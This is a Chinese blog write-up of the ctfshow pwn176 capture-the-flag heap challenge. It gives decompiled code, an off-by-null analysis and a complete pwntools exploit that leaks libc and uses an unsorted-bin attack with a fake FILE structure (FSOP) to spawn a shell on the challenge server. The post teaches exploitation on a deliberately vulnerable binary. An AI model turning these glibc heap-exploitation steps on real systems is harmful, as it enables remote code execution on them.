CTFshow-pwn176

[!NOTE]

似乎还是有多种解法,但是没那么好利用,你选择哪一种呢?

  • 远程环境:Ubuntu 16.04

libc 版本为 Ubuntu GLIBC 2.23-0ubuntu11

保护全开

niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn176
[*] '/home/niuyingying/ctf/pwn/pwn176'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled

在 ida 中查看程序流程,大致如下

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  sub_B70(a1, a2, a3);
  sub_C50();
  while ( 1 )
  {
    puts("=============");
    puts("1. Allocate");
    puts("2. Update");
    puts("3. Show");
    puts("4. Free");
    puts("5. Exit");
    __printf_chk(1, ">> ");
    switch ( (unsigned int)sub_BF0() )
    {
      case 1u:
        sub_D00();
        break;
      case 2u:
        sub_DE0();
        break;
      case 3u:
        sub_E70();
        break;
      case 4u:
        sub_EF0();
        break;
      case 5u:
        puts("Bye!");
        exit(0);
      default:
        puts("Emmm.");
        exit(-1);
    }
  }
}
unsigned int sub_B70()
{
  mallopt(1, 0);                                // 禁用 fastbin
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  return alarm(0x1Eu);
}
ssize_t sub_D00()
{
  signed int v0; // eax
  __int64 v1; // rbx
  int v2; // ebp
  char *v3; // rbx
  ssize_t result; // rax

  __printf_chk(1, "Index: ");
  v0 = sub_BF0();
  if ( (unsigned int)v0 > 0xF )
    error("Invalid index!");
  v1 = v0;
  if ( qword_2020A0[v0] )
    error("Index is already allocated!");
  __printf_chk(1, "Size: ");
  v2 = sub_BF0();
  if ( (unsigned int)(v2 - 16) > 0xF0 )
    error("Invalid size!");
  qword_2020A0[v1] = malloc(v2);
  dword_202060[v1] = v2;
  __printf_chk(1, "Content: ");
  v3 = (char *)qword_2020A0[v1];
  result = read(0, v3, v2);
  v3[result - 1] = 0;
  return result;
}
ssize_t sub_DE0()
{
  unsigned int v0; // eax
  __int64 v1; // rbx
  void *v2; // rbp
  ssize_t result; // rax

  __printf_chk(1, "Index: ");
  v0 = sub_BF0();
  if ( v0 > 0xF )
    error("Invalid index!");
  v1 = (int)v0;
  if ( !qword_2020A0[v0] )
    error("Index is not allocated!");
  __printf_chk(1, "Content: ");
  v2 = (void *)qword_2020A0[v1];
  result = read(0, v2, (int)dword_202060[v1]);
  *((_BYTE *)v2 + result) = 0;
  return result;
}
__int64 sub_E70()
{
  unsigned int v0; // eax
  const char *v1; // r8

  __printf_chk(1, "Index: ");
  v0 = sub_BF0();
  if ( v0 > 0xF )
    error("Invalid index!");
  v1 = (const char *)qword_2020A0[v0];
  if ( !v1 )
    error("Index is not allocated!");
  return __printf_chk(1, "Chunk %d's content: %.*s\n", v0, dword_202060[v0], v1);
}
_DWORD *sub_EF0()
{
  unsigned int v0; // eax
  __int64 v1; // rbx
  void *v2; // rdi
  _DWORD *result; // rax

  __printf_chk(1, "Index: ");
  v0 = sub_BF0();
  if ( v0 > 0xF )
    error("Invalid index!");
  v1 = (int)v0;
  v2 = (void *)qword_2020A0[v0];
  if ( !v2 )
    error("Index is not allocated!");
  free(v2);
  result = dword_202060;
  qword_2020A0[v1] = 0;
  dword_202060[v1] = 0;
  return result;
}

看到 sub_B70() 函数调用 mallopt(1, 0) ,作用是禁用 fastbin,所以这题不能走 fastbin attack

同时程序存在 off-by-null 漏洞,无 UAF

那么利用思路是先利用 off-by-null 伪造 prev_size,让 chunk2 free 时向前合并,覆盖到 chunk1 形成 overlap ,随后 show(1) 泄露 unsorted bin 的 main_arena ,计算 libc base,之后伪造 FILE 结构,利用 FSOP 技巧,最终调用 system("/bin/sh")

攻击脚本如下:

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./pwn176')
libc = ELF('./libc-2.23.so')

# io = process('./pwn176')
io = remote("pwn.challenge.ctf.show",28152)

# io = gdb.debug('./pwn173', gdbscript='b *0x4015C3\nb *0x401840\nc')

# io = gdb.debug(
#     './pwn176',
#     gdbscript='''
# set pagination off
# set sysroot /
# handle SIGALRM nostop noprint nopass
# breakrva 0xDAA
# breakrva 0xE49
# breakrva 0xEBE
# breakrva 0xF45
# c
# '''
# )

def Allocate(i,size,text):
    io.recvuntil(b">> ")
    io.sendline(b"1")
    io.recvuntil(b"Index: ")
    io.sendline(str(i))
    io.recvuntil(b"Size: ")
    io.sendline(str(size).encode())
    io.recvuntil(b"Content: ")
    if len(text) >= size:
        io.send(text)
    else:
        io.sendline(text)

def Update(i,size,text):
    io.recvuntil(b">> ")
    io.sendline(b"2")
    io.recvuntil(b"Index: ")
    io.sendline(str(i))
    io.recvuntil(b"Content: ")
    if len(text) >= size:
        io.send(text)
    else:
        io.sendline(text)

def Show(i):
    io.recvuntil(b">> ")
    io.sendline(b"3")
    io.recvuntil(b"Index: ")
    io.sendline(str(i))

def Free(i):
    io.recvuntil(b">> ")
    io.sendline(b"4")
    io.recvuntil(b"Index: ")
    io.sendline(str(i))

Allocate(0,0xf8,b"\x00")
Allocate(1,0xf8,b"\x00")
Allocate(2,0xf8,b"\x00")
Allocate(3,0x10,b"\x00")

Free(0)
Update(1,0xf8,b"\x00" * 0xf0 + p64(0x200))

Free(2)

Allocate(0,0xf8,b"\x00")
Show(1)

io.recvuntil(b"Chunk 1's content: ")
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))

libc_base = leak - 0x58 - 0x10 - libc.sym['__malloc_hook']
print(hex(libc_base))

io_list_all = libc_base + libc.sym['_IO_list_all']
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b"/bin/sh"))

_IO_str_jumps = libc_base + 0x3c37a0
io_str_finish = _IO_str_jumps + 0x10

# FSOP
Free(0)
Allocate(0,0x100,b"\x00")

# fake chunk
fake_file = p64(0) + p64(0x61)  # prev_size = 0; size = 0x61
fake_file += p64(0) + p64(io_list_all - 0x10)   # fd = 0; bk = _IO_list_all - 0x10

# fake _IO_FILE_plus
fake_file += p64(0) + p64(1)    # fake_file + 0x20 = _IO_write_base = 0; fake_file + 0x28 = _IO_write_ptr  = 1
fake_file += p64(0) + p64(binsh)    # fake_file + 0x30 = _IO_write_end = 0; fake_file + 0x38 = _IO_buf_base  = binsh
fake_file = fake_file.ljust(0xC0, b"\x00")
fake_file += p64(0) * 3 # fp->_mode <= 0
fake_file += p64(io_str_finish - 0x18)  # fake_file + 0xD8 = vtable = io_str_finish - 0x18
fake_file += p64(0)
fake_file += p64(system)    # fake_file + 0xE8 = _free_buffer = system

Update(1,0xf0,fake_file)

io.recvuntil(b">> ")
io.sendline(b"1")
io.recvuntil(b"Index: ")
io.sendline(str(4))
io.recvuntil(b"Size: ")
io.sendline(str(0x10).encode())

io.interactive()

有点忘记 SFOP 了,来说一下细节

先是

Free(0)
Allocate(0, 0x100, b"\x00")

把剩余 unsorted chunk 的 chunk header 改写成原 chunk1 的用户区地址,这样 Update(1) 可以直接伪造 unsorted chunk + fake FILE

接着解释一下为什么 bk = _IO_list_all - 0x10

现在控制了一个正在 unsorted bin 里的 fake chunk , glibc 后面处理它的时候,会把它从 unsorted bin 链表里摘出来

free chunk 的结构是:

fake_chunk + 0x00 : prev_size
fake_chunk + 0x08 : size
fake_chunk + 0x10 : fd
fake_chunk + 0x18 : bk

glibc 处理 unsorted bin chunk 时,大概会这样:

victim = 当前 unsorted bin chunk;
bck = victim->bk;
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);

我们重点只看最后一句:

bck->fd = unsorted_chunks(av);

它的意思是,往 bck 指向的结构体里的 fd 字段写入 unsorted_chunks(av) ,而 fd 字段相对 chunk 头的偏移是 0x10

所以这句实际等价于 *(bck + 0x10) = unsorted_chunks(av);

现在我们的目标是改 _IO_list_all,即 *(_IO_list_all) = unsorted_chunks(av); ,所以需要让 bck + 0x10 = _IO_list_all

所以 payload 写:

fake_file += p64(0) + p64(io_list_all - 0x10)
posted @ 2026-08-10 16:32  AurY1n  阅读(0)  评论(0)    收藏  举报